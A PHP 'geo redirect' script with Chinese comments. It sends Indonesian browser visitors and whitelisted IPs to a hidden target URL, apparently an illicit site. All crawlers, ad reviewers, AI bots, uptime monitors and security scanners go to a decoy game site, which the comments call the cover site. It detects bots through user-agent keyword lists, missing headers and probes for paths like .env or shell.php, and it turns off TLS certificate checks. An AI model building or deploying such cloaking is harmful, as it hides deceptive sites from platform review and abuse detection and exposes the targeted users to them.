<?php
/**
 * Geo Redirect Page (Indonesia only + Bot Block + IP Whitelist)
 *
 * How to use:
 * 1. Upload to website root
 * 2. Set $real_url / $fake_url / $ip_whitelist
 * 3. 调试：访问 你的域名/?debug=test123
 * 4. 强制：?force=id 进真实站  |  ?force=fake 进掩护站
 *
 * Logic:
 * - IP 在白名单 → $real_url（跳过地区/爬虫检测）
 * - 爬虫 / 空 UA / 脚本工具 → $fake_url
 * - 非印尼 IP → $fake_url
 * - 印尼真人浏览器 → $real_url
 */

// ==================== 只改下面几行 ====================
$real_url = "https://rngqhzd.com/?dmcode=JkXM";   // 印尼真实地址
$fake_url = "https://poki.com";             // 非印尼 / 爬虫 掩护地址

// IP 白名单：这些 IP 直接进真实站（指纹浏览器测试用）
// 可继续往数组里加，例如 "1.2.3.4", "5.6.7.8"
$ip_whitelist = array(
    "92.112.157.80",
);

// 调试密码：?debug=密码 显示检测信息；设 "" 关闭调试
$debug_key = "test123";

// 爬虫处理：'redirect' = 跳掩护站（推荐，更隐蔽） | 'block' = 直接 403
$bot_action = 'redirect';
// =====================================================

// 强制测试（跳过爬虫/地区检测）
if (isset($_GET['force'])) {
    $force = strtolower((string) $_GET['force']);
    if ($force === 'id' || $force === 'real') {
        redirect_to($real_url);
    }
    if ($force === 'fake' || $force === 'other') {
        redirect_to($fake_url);
    }
}

$bot     = detect_bot();
$detect  = detect_country();
$ip      = $detect['ip'];
$country = $detect['country'];
$source  = $detect['source'];
$raw     = $detect['raw'];
$is_bot  = $bot['is_bot'];
$is_whitelisted = is_ip_whitelisted($ip, $ip_whitelist);
// 白名单 或 印尼真人 → 真实站
$go_real = $is_whitelisted || (!$is_bot && $country === 'ID');

// 调试模式
if (isset($_GET['debug']) && (string) $_GET['debug'] === (string) $debug_key) {
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store');
    if ($is_whitelisted) {
        $will = $real_url;
        $ok   = '✅ IP 白名单 → 真实站';
    } elseif ($is_bot) {
        $will = $fake_url;
        $ok   = '❌ 判定为爬虫 → 掩护站';
    } elseif ($go_real) {
        $will = $real_url;
        $ok   = '✅ 印尼真人 → 真实站';
    } else {
        $will = $fake_url;
        $ok   = '❌ 非印尼/识别失败 → 掩护站';
    }
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Geo Debug</title>';
    echo '<style>body{font-family:system-ui,sans-serif;max-width:720px;margin:40px auto;padding:0 16px;line-height:1.6}';
    echo 'code,pre{background:#f4f4f4;padding:2px 6px;border-radius:4px}pre{padding:12px;overflow:auto;white-space:pre-wrap;word-break:break-all}';
    echo '.box{border:1px solid #ddd;border-radius:8px;padding:16px;margin:16px 0}.ok{color:#0a0}.bad{color:#c00}</style></head><body>';
    echo '<h1>跳转检测调试</h1>';
    echo '<div class="box">';
    echo '<p><b>User-Agent：</b><br><code>' . h($bot['ua']) . '</code></p>';
    echo '<p><b>是否爬虫：</b> <span class="' . ($is_bot ? 'bad' : 'ok') . '">' . ($is_bot ? '是' : '否') . '</span>';
    if ($is_bot) {
        echo ' <code>命中: ' . h($bot['matched']) . '</code>';
    }
    echo '</p>';
    echo '<p><b>服务器看到的 IP：</b> <code>' . h($ip) . '</code></p>';
    echo '<p><b>是否白名单：</b> <span class="' . ($is_whitelisted ? 'ok' : 'bad') . '">' . ($is_whitelisted ? '是' : '否') . '</span></p>';
    echo '<p><b>白名单列表：</b> <code>' . h(implode(', ', $ip_whitelist)) . '</code></p>';
    echo '<p><b>识别国家码：</b> <code>' . h($country === '' ? '(空=识别失败)' : $country) . '</code></p>';
    echo '<p><b>数据来源：</b> <code>' . h($source) . '</code></p>';
    echo '<p><b>判断结果：</b> <span class="' . ($go_real ? 'ok' : 'bad') . '">' . h($ok) . '</span></p>';
    echo '<p><b>将跳转到：</b><br><code>' . h($will) . '</code></p>';
    echo '</div>';
    echo '<div class="box"><h3>原始信息</h3><pre>' . h(print_r(array('bot' => $bot, 'geo' => $raw, 'whitelist' => $ip_whitelist), true)) . '</pre></div>';
    echo '<p><a href="?force=id">?force=id</a>　<a href="?force=fake">?force=fake</a></p>';
    echo '</body></html>';
    exit;
}

// 白名单：直接真实站（跳过爬虫/地区）
if ($is_whitelisted) {
    redirect_to($real_url);
}

// 爬虫：跳掩护站 或 403
if ($is_bot) {
    if ($bot_action === 'block') {
        header('HTTP/1.1 403 Forbidden');
        header('Content-Type: text/plain; charset=utf-8');
        echo 'Forbidden';
        exit;
    }
    redirect_to($fake_url);
}

if ($go_real) {
    redirect_to($real_url);
}
redirect_to($fake_url);

// ------------------------------------------------------------------
// Helpers
// ------------------------------------------------------------------

function h($s)
{
    return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8');
}

function redirect_to($url)
{
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');
    header('Location: ' . $url, true, 302);
    exit;
}

/**
 * IP 是否在白名单（精确匹配）
 */
function is_ip_whitelisted($ip, $whitelist)
{
    if (!is_array($whitelist) || $whitelist === array()) {
        return false;
    }
    $ip = trim((string) $ip);
    foreach ($whitelist as $item) {
        if ($ip !== '' && $ip === trim((string) $item)) {
            return true;
        }
    }
    return false;
}

/**
 * 爬虫 / 脚本 / 自动化工具检测
 * 返回: is_bot, ua, matched, reasons
 */
function detect_bot()
{
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? trim($_SERVER['HTTP_USER_AGENT']) : '';
    $result = array(
        'is_bot'  => false,
        'ua'      => $ua,
        'matched' => '',
        'reasons' => array(),
    );

    // 1) 空 User-Agent
    if ($ua === '') {
        $result['is_bot']  = true;
        $result['matched'] = 'empty_ua';
        $result['reasons'][] = 'empty_user_agent';
        return $result;
    }

    // 2) UA 过短（正常浏览器 UA 很长）
    if (strlen($ua) < 20) {
        $result['is_bot']  = true;
        $result['matched'] = 'short_ua';
        $result['reasons'][] = 'ua_too_short';
        return $result;
    }

    $ua_l = strtolower($ua);

    // 3) 关键词匹配（搜索引擎、SEO、抓取库、命令行等）
    $patterns = array(
        // 搜索引擎 & 预览
        'googlebot', 'google-inspectiontool', 'adsbot-google', 'mediapartners-google',
        'bingbot', 'bingpreview', 'msnbot', 'slurp', 'duckduckbot', 'baiduspider',
        'yandexbot', 'yandex.com/bots', 'sogou', 'exabot', 'facebot', 'facebookexternalhit',
        'twitterbot', 'linkedinbot', 'pinterest', 'applebot', 'semrushbot', 'ahrefsbot',
        'mj12bot', 'dotbot', 'rogerbot', 'seznambot', 'petalbot', 'bytespider',
        'gptbot', 'chatgpt-user', 'claudebot', 'anthropic-ai', 'ccbot', 'perplexitybot',
        // 监控 / 扫描
        'uptimerobot', 'pingdom', 'statuscake', 'site24x7', 'newrelicpinger',
        'zgrab', 'masscan', 'nmap', 'nikto', 'sqlmap', 'wpscan', 'nuclei',
        // 抓取库 / 脚本
        'scrapy', 'httpclient', 'okhttp', 'java/', 'libwww', 'lwp-trivial',
        'python-requests', 'python-urllib', 'aiohttp', 'httpx', 'mechanize',
        'go-http-client', 'golang', 'php/', 'guzzlehttp', 'curl/', 'wget',
        'axios/', 'node-fetch', 'undici', 'postman', 'insomnia', 'paw/',
        'headlesschrome', 'phantomjs', 'slimerjs', 'selenium', 'puppeteer',
        'playwright', 'splash', 'htmlunit',
        // 通用 bot 词
        'crawler', 'spider', 'bot/', 'bot;', ' bot', 'crawl', 'scraper',
        'fetch/', 'monitor', 'checker', 'validator', 'archive.org_bot',
        'ia_archiver', 'wayback', 'preview',
    );

    foreach ($patterns as $p) {
        if (strpos($ua_l, $p) !== false) {
            $result['is_bot']  = true;
            $result['matched'] = $p;
            $result['reasons'][] = 'ua_keyword:' . $p;
            return $result;
        }
    }

    // 4) 明显不是浏览器的 UA 结构（没有 Mozilla/ 且没有常见浏览器关键词）
    $browser_hints = array('mozilla/', 'chrome/', 'safari/', 'firefox/', 'edg/', 'opr/', 'mobile');
    $has_browser = false;
    foreach ($browser_hints as $hint) {
        if (strpos($ua_l, $hint) !== false) {
            $has_browser = true;
            break;
        }
    }
    if (!$has_browser) {
        $result['is_bot']  = true;
        $result['matched'] = 'no_browser_signature';
        $result['reasons'][] = 'missing_browser_signature';
        return $result;
    }

    // 5) 可疑请求特征：缺 Accept-Language 且缺 Accept（很多爬虫不带）
    $accept     = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : '';
    $accept_lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    if ($accept === '' && $accept_lang === '') {
        $result['is_bot']  = true;
        $result['matched'] = 'no_accept_headers';
        $result['reasons'][] = 'missing_accept_and_language';
        return $result;
    }

    // 6) 常见扫描路径探测时也可标记（可选：仅当带这些参数时）
    // 这里不拦正常首页，只拦明显扫描
    $uri = isset($_SERVER['REQUEST_URI']) ? strtolower($_SERVER['REQUEST_URI']) : '';
    $scan_paths = array(
        'wp-login', 'wp-admin', 'xmlrpc.php', '.env', 'phpmyadmin',
        'actuator', '/.git', 'vendor/phpunit', 'shell.php', 'eval-stdin',
    );
    foreach ($scan_paths as $sp) {
        if (strpos($uri, $sp) !== false) {
            $result['is_bot']  = true;
            $result['matched'] = 'scan_path:' . $sp;
            $result['reasons'][] = 'suspicious_path';
            return $result;
        }
    }

    return $result;
}

function get_client_ip()
{
    $candidates = array(
        'HTTP_CF_CONNECTING_IP',
        'HTTP_TRUE_CLIENT_IP',
        'HTTP_X_REAL_IP',
        'HTTP_X_FORWARDED_FOR',
        'REMOTE_ADDR',
    );

    foreach ($candidates as $key) {
        if (empty($_SERVER[$key])) {
            continue;
        }
        $parts = explode(',', $_SERVER[$key]);
        $ip    = trim($parts[0]);
        if (strpos($ip, ':') !== false && substr_count($ip, ':') === 1 && !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
            $ip = explode(':', $ip)[0];
        }
        if (filter_var($ip, FILTER_VALIDATE_IP)) {
            return $ip;
        }
    }

    return '0.0.0.0';
}

/**
 * 返回: ip, country, source, raw
 */
function detect_country()
{
    $ip  = get_client_ip();
    $raw = array(
        'REMOTE_ADDR'           => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null,
        'HTTP_CF_CONNECTING_IP' => isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : null,
        'HTTP_CF_IPCOUNTRY'     => isset($_SERVER['HTTP_CF_IPCOUNTRY']) ? $_SERVER['HTTP_CF_IPCOUNTRY'] : null,
        'HTTP_X_FORWARDED_FOR'  => isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : null,
        'HTTP_X_REAL_IP'        => isset($_SERVER['HTTP_X_REAL_IP']) ? $_SERVER['HTTP_X_REAL_IP'] : null,
        'api_tries'             => array(),
    );

    if (!empty($_SERVER['HTTP_CF_IPCOUNTRY'])) {
        $cc = strtoupper(trim($_SERVER['HTTP_CF_IPCOUNTRY']));
        if ($cc !== '' && $cc !== 'XX' && $cc !== 'T1') {
            return array('ip' => $ip, 'country' => $cc, 'source' => 'cloudflare_header', 'raw' => $raw);
        }
        if ($cc === 'T1') {
            return array('ip' => $ip, 'country' => 'T1', 'source' => 'cloudflare_tor', 'raw' => $raw);
        }
    }

    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        $raw['note'] = 'private_or_reserved_ip';
        return array('ip' => $ip, 'country' => '', 'source' => 'private_ip', 'raw' => $raw);
    }

    $apis = array(
        array(
            'name'  => 'ip-api.com',
            'url'   => 'http://ip-api.com/json/' . rawurlencode($ip) . '?fields=status,countryCode,message',
            'parse' => function ($body) {
                $d = json_decode($body, true);
                if (!empty($d['status']) && $d['status'] === 'success' && !empty($d['countryCode'])) {
                    return strtoupper($d['countryCode']);
                }
                return '';
            },
        ),
        array(
            'name'  => 'ipwho.is',
            'url'   => 'https://ipwho.is/' . rawurlencode($ip),
            'parse' => function ($body) {
                $d = json_decode($body, true);
                if (!empty($d['success']) && !empty($d['country_code'])) {
                    return strtoupper($d['country_code']);
                }
                return '';
            },
        ),
        array(
            'name'  => 'geojs.io',
            'url'   => 'https://get.geojs.io/v1/ip/country/' . rawurlencode($ip) . '.json',
            'parse' => function ($body) {
                $d = json_decode($body, true);
                if (!empty($d['country'])) {
                    return strtoupper($d['country']);
                }
                return '';
            },
        ),
        array(
            'name'  => 'ipapi.co',
            'url'   => 'https://ipapi.co/' . rawurlencode($ip) . '/country/',
            'parse' => function ($body) {
                $cc = strtoupper(trim($body));
                return preg_match('/^[A-Z]{2}$/', $cc) ? $cc : '';
            },
        ),
    );

    foreach ($apis as $api) {
        $body = http_get_quick($api['url'], 3);
        $try  = array('name' => $api['name'], 'ok' => false, 'body' => $body === false ? '(request failed)' : substr($body, 0, 200));
        if ($body !== false) {
            $cc = $api['parse']($body);
            if ($cc !== '') {
                $try['ok'] = true;
                $try['country'] = $cc;
                $raw['api_tries'][] = $try;
                return array('ip' => $ip, 'country' => $cc, 'source' => $api['name'], 'raw' => $raw);
            }
        }
        $raw['api_tries'][] = $try;
    }

    return array('ip' => $ip, 'country' => '', 'source' => 'all_apis_failed', 'raw' => $raw);
}

function http_get_quick($url, $timeout = 3)
{
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => $timeout,
            CURLOPT_TIMEOUT        => $timeout,
            CURLOPT_USERAGENT      => 'Mozilla/5.0 (compatible; GeoRedirect/1.1)',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => 0,
        ));
        $result = curl_exec($ch);
        $code   = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($result !== false && $code >= 200 && $code < 300) {
            return $result;
        }
        return false;
    }

    $ctx = stream_context_create(array(
        'http' => array(
            'timeout' => $timeout,
            'header'  => "User-Agent: Mozilla/5.0 (compatible; GeoRedirect/1.1)\r\n",
        ),
        'ssl' => array(
            'verify_peer'      => false,
            'verify_peer_name' => false,
        ),
    ));
    $result = @file_get_contents($url, false, $ctx);
    return ($result === false) ? false : $result;
}
